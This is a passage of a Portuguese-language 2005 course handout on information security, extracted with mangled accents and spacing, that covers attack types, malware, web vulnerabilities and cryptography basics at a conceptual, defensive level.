para minimizar a vulnerabilidades de bens e recursos e estaacute relacionada a necessidades de proteccedilatildeo contraacesso ou manipulaccedilatildeo das informaccedilotildees confidenciais e utilizaccedilatildeo dos recursos de processamento de formanatildeo autorizadaDa mesma forma Vulnerabilidade eacute utilizada para especificar qualquer fraqueza que pode serexplorada para violar um sistema ou as informaccedilotildees que ele contemA necessidade de proteccedilatildeo deve ser definida tendo como base as possiacuteveis ldquoAmeaccedilasrdquo as quais oambiente estaacute exposto e deve ser formalizado em um documento oficial denominado Poliacutetica de Seguranccedila12) Ameaccedilas e AtaquesUma Ameaccedila consiste de uma possiacutevel violaccedilatildeo da seguranccedila de um ambiente ou sistema Asameaccedilas podem ser classificadas como1 Passivas Ativas2 Acidentais IntencionaisUm Ataque eacute a materializaccedilatildeo de uma ameaccedila e normalmente pode ocorrer de vaacuterias formasdiferentes mas normalmente eacute realizado atraveacutes das etapas1 Obter informaccedilotildees sobre o alvo - coleta do perfil do alvo2 Obter acesso inicial natildeo privilegiado ao sistema3 Explorar pontos fracos para aumentar o niacutevel de privileacutegio e expandir o acesso4 Executar o ataque propriamente dito5 Instalar porta dos fundos (backdoor)6 Cobrir rastrosDentre as teacutecnicas que podem ser utilizadas para proferir um ataque podemos destacar1 Phreaking - consiste na maacute utilizaccedilatildeo do sistema telefocircnico permitindo acesso gratuitoe ateacute mesmo interromper seu funcionamento2 Discagem de Guerra ou Discagem de Forccedila Bruta consiste no uso de ferramentaspara realizar a discagem sequumlencial para um nuacutemero aleatoacuterio de nuacutemeros com oobjetivo de detectar um modem Uma vez identificado um modem poderia ser utilizadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 3 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005um ataque de senha para se ter acesso ao sistema3 Engenharia social consiste em se passar por uma outra pessoa com o objetivo decoletar informaccedilotildees para proferir o ataque em siacute (coleta de informaccedilotildees privilegiadas)Recentemente tem-se utilizado principalmente o e-mail para a realizaccedilatildeo desta teacutecnica

Esta teacutecnica eacute uma forma incriacutevelmente eficaz de se reunir informaccedilotildees sobre um dadoambiente u sistema alvo4 Quebra de senha tem por finalidade obter as senhas de acesso ao sistema ou de umaconta em especial As principais teacutecnicas que podem ser empregadas satildeomiddot Forccedila brutamiddot Dicionaacuteriomiddot Combinaccedilatildeo de palavrasComo natildeo existem senhas 100 seguras eacute uma questatildeo de tempo ateacute que um softwarede quebra de senha consiga descobrir uma senha5 Filtragem de Pacote (packet sniffing) almeja a coleta de nomes de usuaacuterio e senhasque trafegam de forma natildeo protegida pela rede e outros tipos de informaccedilotildeespertinentes para o invasor6 Varredura ICMP - Pinging esta teacutecnica eacute utilizada para determinar os possiacuteveis alvospara um determinado ataque mas tambeacutem pode ser utilizada por Administradores deRede para realizar o monitoramento da mesma7 Scanner de Portas consiste na determinaccedilatildeo de quais serviccedilos de rede estatildeo ativosnos hospedeiros da rede bem como da identificaccedilatildeo das principais vulnerabilidades aque estes hospedeiros estatildeo sujeitos Ao identificar o endereccedilo de um hospedeiro ativoo invasor pode utilizar este valor para forjar um ataque sem ser identificado8 Coleta do Finger Printing de um hospedeiro9 Coacutedigo malicioso (malware) programas desenvolvidos com objetivo de furto deinformaccedilotildees ou ateacute mesmo danificaccedilatildeo dos sistemasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 4 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200512) Os Principais tipos de Ataques1 Personificaccedilatildeo (masquerade) uma entidade faz-se passar por outras2 Replay apoacutes uma mensagem ser interceptada ela pode ser transmitida para permitir o acesso deum invasor ao sistema3 Modificaccedilatildeo de Conteuacutedo o conteuacutedo de uma mensagem alterado de forma furtiva4 Ataques Internos normalmente proferidos por usuaacuterios legiacutetimos que realizam operaccedilotildees ilegais5 Armadilhas (trapdoor) entidades do sistemas satildeo modificadas para produzir efeitos natildeoautorizados em resposta a determinadas mensagens ou intervalos de tempo6 Cavalos de Troacuteia entidades que executam funccedilotildees natildeo autorizadas como por exemplo umprocedimento de Login modificado

7 Recusa de Serviccedilo tem por objetivo impedir que entidades legitimas realizem suas funccedilotildeesTipo DoS e DdoS8 Spoofing IP - Esta eacute uma teacutecnica dita altamente sofisticada onde uma maacutequina eacute autenticada poroutra atraveacutes de Pacotes IP indicando ser uma fonte segura Dado que um computador ldquoXrdquo podemanter uma comunicaccedilatildeo com um outro computador ldquoYrdquo sem a necessidade da constanteverificaccedilatildeo de autenticidade Um hacker pode se disfarccedilar informando para ldquoXrdquo que sua maacutequina eacuteldquoYrdquo Para isto ele deve ser capaz de gerar os nuacutemeros de sequumlecircncia que satildeo usados durante oldquoAperto de matildeosrdquo entre dois servidores uma forma de se obter tais nuacutemeros eacute enviar uma seacuterie desolicitaccedilotildees de conexotildees com ldquoXrdquo e guardar os nuacutemeros gerados Com o tempo o hacker podedescobrir como ele gera estes nuacutemeros Descoberto o processo de geraccedilatildeo dos nuacutemeros ohacker inicia uma conexatildeo informando ser ldquoXrdquo mas como ele natildeo eacute a maacutequina indicada ele age asldquoescurasrdquo Feito a solicitaccedilatildeo ele envia um outro pacote com o nuacutemero de sequumlecircncia e com istofecha a conexatildeo Uma vez fechada a conexatildeo o usuaacuterio passa a trabalhar em um canalunidirecional uma vez que ele natildeo reabriraacute os pacotes de resposta Uma forma de se evitar estetipo de ataque eacute configurar o roteador para que ele natildeo aceite pacotes internet que simulamoriginar-se de um endereccedilo local Outra forma seria a verificaccedilatildeo dos ldquologsrdquo e do arquivo de hostconfiaacuteveis caso haja uma conexatildeo ativa com algum destes hosts mas sem que hajam processosem andamento provavelmente um ataque estaacute em accedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 5 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059 Negaccedilatildeo de Serviccedilo - Este tipo de ataque tem por objetivo deixar um ldquorecursordquo inoperanteldquomomentaneamenterdquo Existem basicamente dois tipos de ataques desta categoria o DoS e oDDoS este segundo se baseia no envio de uma grande quantidade de pacotes para um alvo deforma coordenada a partir de vaacuterias origens Devido a uma fragilidade do TCP (TransmissionControl Protocol) os endereccedilos da origem dos pacotes satildeo normalmente forjados Sendo que ostipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexatildeo e

na limitaccedilatildeo de que um serviccedilo tem que aceitar um nuacutemero de conexotildees por vez Um doscuidados que devem ser tomados quando da configuraccedilatildeo dos equipamentos de rede eacute que elesnatildeo possam ser usados como fontes de ataques bem como contra os ataques propriamente ditosuma das formas de se fazer a segunda parte e retirar os serviccedilos que natildeo estatildeo sendo utilizadosoutra forma eacute realizar uma constante verificaccedilatildeo do traacutefico do site assim sendo quando umaatividade anormal for detectada uma atitude correspondente deve ser adotada como por exemplobloquear um endereccedilo de IPProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 6 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20052) MalwareDesde novembro de 1988 quando Robert Morris lanccedilou seu verme na internet a miacutedia apresentouo coacutedigo malicioso como se fosse um desastre natural o que natildeo deixa de ser uma verdade visto seusefeitos e como as pessoas se comportamOs viacuterus aleacutem de serem desastrosos para a produtividade de uma empresa devido ao seucomportamento epidecircmico ele pode consumir uma sensiacutevel parte da largura de banda de uma rede decomputadoresAtualmente existe mais de 40000 tipos distintos de viacuterus registrados Dos viacuterus conhecidos trecircs sedestacam pelo seu poder destrutivo e pelo seu modo de operaccedilatildeo O viacuterus ldquoMelissardquo desenvolvido porDavid Smith em 1999 causou um dano total de US$ 80 mil O viacuterus I love You causou um dano totalde US$ 10 bilhotildees e desativou mais de 10000 empresas incluindo o Departamento de Defesa NorteAmericano (DOD)Um dos motivos de raacutepida proliferaccedilatildeo do Viacuterus I love you foi causada pelo uso do cataacutelogo deendereccedilos do Microsoft Outlook Express e por explorar a curiosidade do usuaacuterioComo acontece no mundo real a cura para estas pragas estaacute sempre um passo atraacutes do seudesenvolvimento E atualmente os viacuterus deixaram de ser um pequeno incomodo se tornando uma realameaccedila para a comunidade comercial21) Ciclo de Vida do Viacuterus- Nascimento- Lanccedilamento- Proliferaccedilatildeo- Disparo

- Ativaccedilatildeo- Detecccedilatildeo- Eliminaccedilatildeo- Mutaccedilatildeo (volta ao primeiro estaacutegio)Os viacuterus podem utilizar vaacuterios meios de transporte originalmente os disquetes e os arquivosbaixados de BBS eram a principal fonte atualmente os e-mails e as redes promiacutescuas satildeo os dois maioresProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 7 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005grupos de risco de contaminaccedilatildeoAtualmente muitos viacuterus natildeo necessitam que o usuaacuterio executem um arquivo anexado basta abrir oe-mail ou visitar um site que o mesmo eacute automaticamente acionado22) Tipos de ViacuterusOs principais tipos de viacuterus satildeo1 Viacuterus de infecccedilatildeo de arquivos - um dos primeiros tipos de viacuterus Quando arquivosinfectados eram executados o viacuterus era automaticamente executado e se proliferavapara os demais arquivos executaacuteveis existentes no sistema2 Viacuterus do setor de boot - pouco comuns na atualidade foram uma praga no passadoeram carregados antes da execuccedilatildeo do sistema operacional e contaminavam todos osdemais discos inseridos no sistema Atualmente este tipo de viacuterus natildeo causa grandesdanos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes3 Viacuterus de Macro - usam as linguagens de macro dos programas para infectar seusarquivos de dados Satildeo Viacuterus especiacuteficos dos programas e atacam principalmentedocumentos do Microsoft Word e Microsoft Excel4 Virus de Sript - satildeo escritos utilizando-se de programaccedilatildeo script principalmenteVisual Basic Script e Java Script normalmente ativos quando um e-mail eacute aberto ou umsite visitado5 Viacuterus Criptografado - foi o primeiro resultado da guerra entre desenvolvedores deviacuterus e anti-viacuterus como as assinaturas dos viacuterus satildeo normalmente sua forma dedetecccedilatildeo os viacuterus comeccedilaram a cifrar e embaralhar seus coacutedigos todas as vez que satildeoexecutados6 Viacuterus Polimorfico - satildeo viacuterus que possuem um sistema ativo de mutaccedilatildeo que natildeo

somente muda o viacuterus a cada vez que ele replica mas tambeacutem muda a rotina quedecifra Isto cria um viacuterus muito difiacutecil de se detectar Um exemplo de viacuterus destacategoria eacute One Half que criptoacutegrafa progressivamente o seu disco riacutegido tornando-oimpossiacutevel de ser lidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 8 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200523) Outros tipos de Malware1 Cavalos de Troacuteia2 Vermes - satildeo aplicativos designados para se espalharem pelas redes e se replicarem satildeoindependentes de outros programas aos arquivos e geralmente causam danos por causa desua replicaccedilatildeo fora de controle3 Coacutedigo malicioso em Java - esta linguagem normalmente eacute utilizada na Internet na forma deldquoappletsrdquo eu satildeo manipuladas pelo browser A seguranccedila desta linguagem de sua maacutequinavirtual contudo eacute inevitaacutevel que algueacutem usaraacute o Coacutedigo Java para escrever um programamalicioso4 Coacutedigo malicioso em Active X ndash esta ldquolinguagemrdquo eacute de propriedade da Microsoft e assimcomo a Java pode ser utilizada para difusatildeo de coacutedigo malicioso Contudo contem assinaturasdigitais que verificam o nome do autor do programa Depois o browser verifica se vocecirc confiaou natildeo no fornecedor do software Contudo jamais permita automaticamente todos osaplicativos de um dado auto visto a possibilidade de se falsificar um certificado24) Tecnologias de antiviacuterusExistem vaacuterias teacutecnicas que podem ser adotadas pelos antiviacuterus das quais podem-se destacar1) Investigaccedilatildeo de assinatura2) Monitoramento de atividades3) Verificaccedilatildeo de integridadeOs Pacotes de Investigaccedilatildeo procuram assinaturas e consistem de duas partes1) Um banco de dados contendo as assinaturas conhecidas2) Software de pesquisa e anaacutelise dos arquivos em busca destas assinaturasOutra forma de investigaccedilatildeo eacute a ldquoInvestigaccedilatildeo Heuriacutesticardquo que procura coacutedigo suspeito estessoftwares convergem os arquivos para uma aacuterea ldquovirtualrdquo do computador ndash aacuterea de quarentena os executame testam seu comportamentoUma vantagem da Investigaccedilatildeo Heuriacutestica eacute que ela pode ldquopegarrdquo novos viacuterus antes mesmo de

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 9 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ocorrer uma infecccedilatildeo ou do lanccedilamento do novo arquivo de assinaturasMas os investigadores podem oferecer ldquofalsos positivosrdquo contudo este problema tem sidogradativamente reduzidoOs ldquoMonitores de Atividaderdquo observam as accedilotildees que estatildeo sendo executadas no computador equando ocorre uma accedilatildeo suspeita o monitor envia um alerta para o usuaacuterio pedindo que o mesmo aceiteou rejeite a execuccedilatildeo do coacutedigo o que pode gerar certo niacutevel de inconveniecircncia ao usuaacuterioOs ldquoVerificadores de Integridaderdquo guarda informaccedilotildees detalhadas sobre os arquivos docomputador e setores do sistema Isso permite que ele possa determinar quando satildeo feitas mudanccedilas eentatildeo emitir um alerta ao usuaacuterioOs softwares antiviacuterus podem ser executados em trecircs locais distintos1048576 No Desktop ndash protegendo localmente os dados mas pode ser facilmente desabilitado pelousuaacuterio1048576 Nos Servidores ndash garante maior niacutevel de seguranccedila para os dados da rede mas podemsobrecarregar a operaccedilatildeo do servidor1048576 Nos Gateways da Rede ndash evita a entrada e saiacuteda de softwares maliciosos da rede Pode gerarum atraso na comunicaccedilatildeo contudo seu uso eacute altamente recomendadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 10 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20053) Problemas de Seguranccedila da WEBQuando a WEB era formada por paacuteginas estaacutetuas natildeo havia possibilidade de realizaccedilatildeo decomeacutercio mas mesmo assim jaacute era alvo de ataques de seguranccedila como por exemplo a ldquodesfiguraratildeordquo doarquivo ldquoindexhtlmrdquoApesar de simples este ataque pode gerar a perda de credibilidade da empresa e a reduccedilatildeo daconfianccedila do usuaacuterioOutro tipo de ataque que jaacute era comum nesta eacutepoca era a alteraccedilatildeo ilegal dos servidores de ldquoDNSrdquoque permitem que sites fossem trocadosOs ataques de DNS natildeo geravam a perda dos dados da paacutegina mas causavam os mesmos danos acredibilidade e confianccedilaDurante estes ataques normalmente os ldquohackersrdquo utilizam-se da teacutecnica de ldquocamuflagem de IPrdquo aqual permite ocultar o endereccedilo de uma outra pessoa durante o ataque

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas 